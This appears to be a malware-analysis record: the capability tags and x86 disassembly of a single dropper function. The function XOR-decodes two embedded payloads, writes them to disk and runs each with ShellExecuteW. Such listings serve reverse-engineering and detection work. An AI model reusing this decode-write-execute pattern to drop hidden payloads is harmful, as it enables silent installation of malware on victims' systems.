Function at 0x413e60
Capabilities:
Create process on windows
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44c0d0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45f6c4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
call fcn.0041568d
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x413ea7
push 0x80004005
call fcn.00402a50
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
lea esi, [esp + 0x18]
mov dword [esp + 0x30], 0
call fcn.00410cf0
push 1
push 0x4540bc
mov ecx, esi
mov byte [esp + 0x38], 1
call fcn.0040d4a0
push 0x10
call fcn.00410b80
mov edi, eax
add esp, 4
add edi, 5
lea ebx, [esp + 0x20]
call fcn.0040d340
push eax
mov ecx, esi
push ecx
lea edx, [esp + 0x24]
mov ebx, 2
push edx
mov byte [esp + 0x3c], bl
call fcn.00414c80
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 3
call fcn.00402c90
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413f40
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413f65
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x413f70
xor byte [eax + 0x460bc0], 0x1c
add eax, 1
cmp eax, 0x14b610
jl 0x413f70
mov edi, dword [esp + 0x14]
push 0
push 0x80
push ebx
push 0
push ebx
push 0x40000000
push edi
mov dword [esp + 0x3c], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x413fca
push 0
lea ecx, [esp + 0x24]
push ecx
push 0x14b610
push 0x460bc0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push 0
push edi
push str.open
push 0
call ebp
push 0x10
call fcn.00410b80
mov edi, eax
add esp, 4
add edi, 5
lea ebx, [esp + 0x1c]
call fcn.0040d340
push eax
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
mov bl, 4
push eax
mov byte [esp + 0x3c], bl
call fcn.00414c80
add esp, 0xc
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x34], 5
call fcn.00402c90
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414044
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414069
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor ebx, ebx
xor eax, eax
lea ecx, [ecx]
xor byte [eax + 0x5ac1d0], 0x1c
add eax, 1
cmp eax, 0x16800
jl 0x414070
mov edi, dword [esp + 0x14]
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push edi
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4140c5
push ebx
lea ecx, [esp + 0x24]
push ecx
push 0x16800
push 0x5ac1d0
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push edi
push str.open
push ebx
call ebp
mov byte [esp + 0x30], bl
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4140f5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov dword [esp + 0x30], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x414119
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret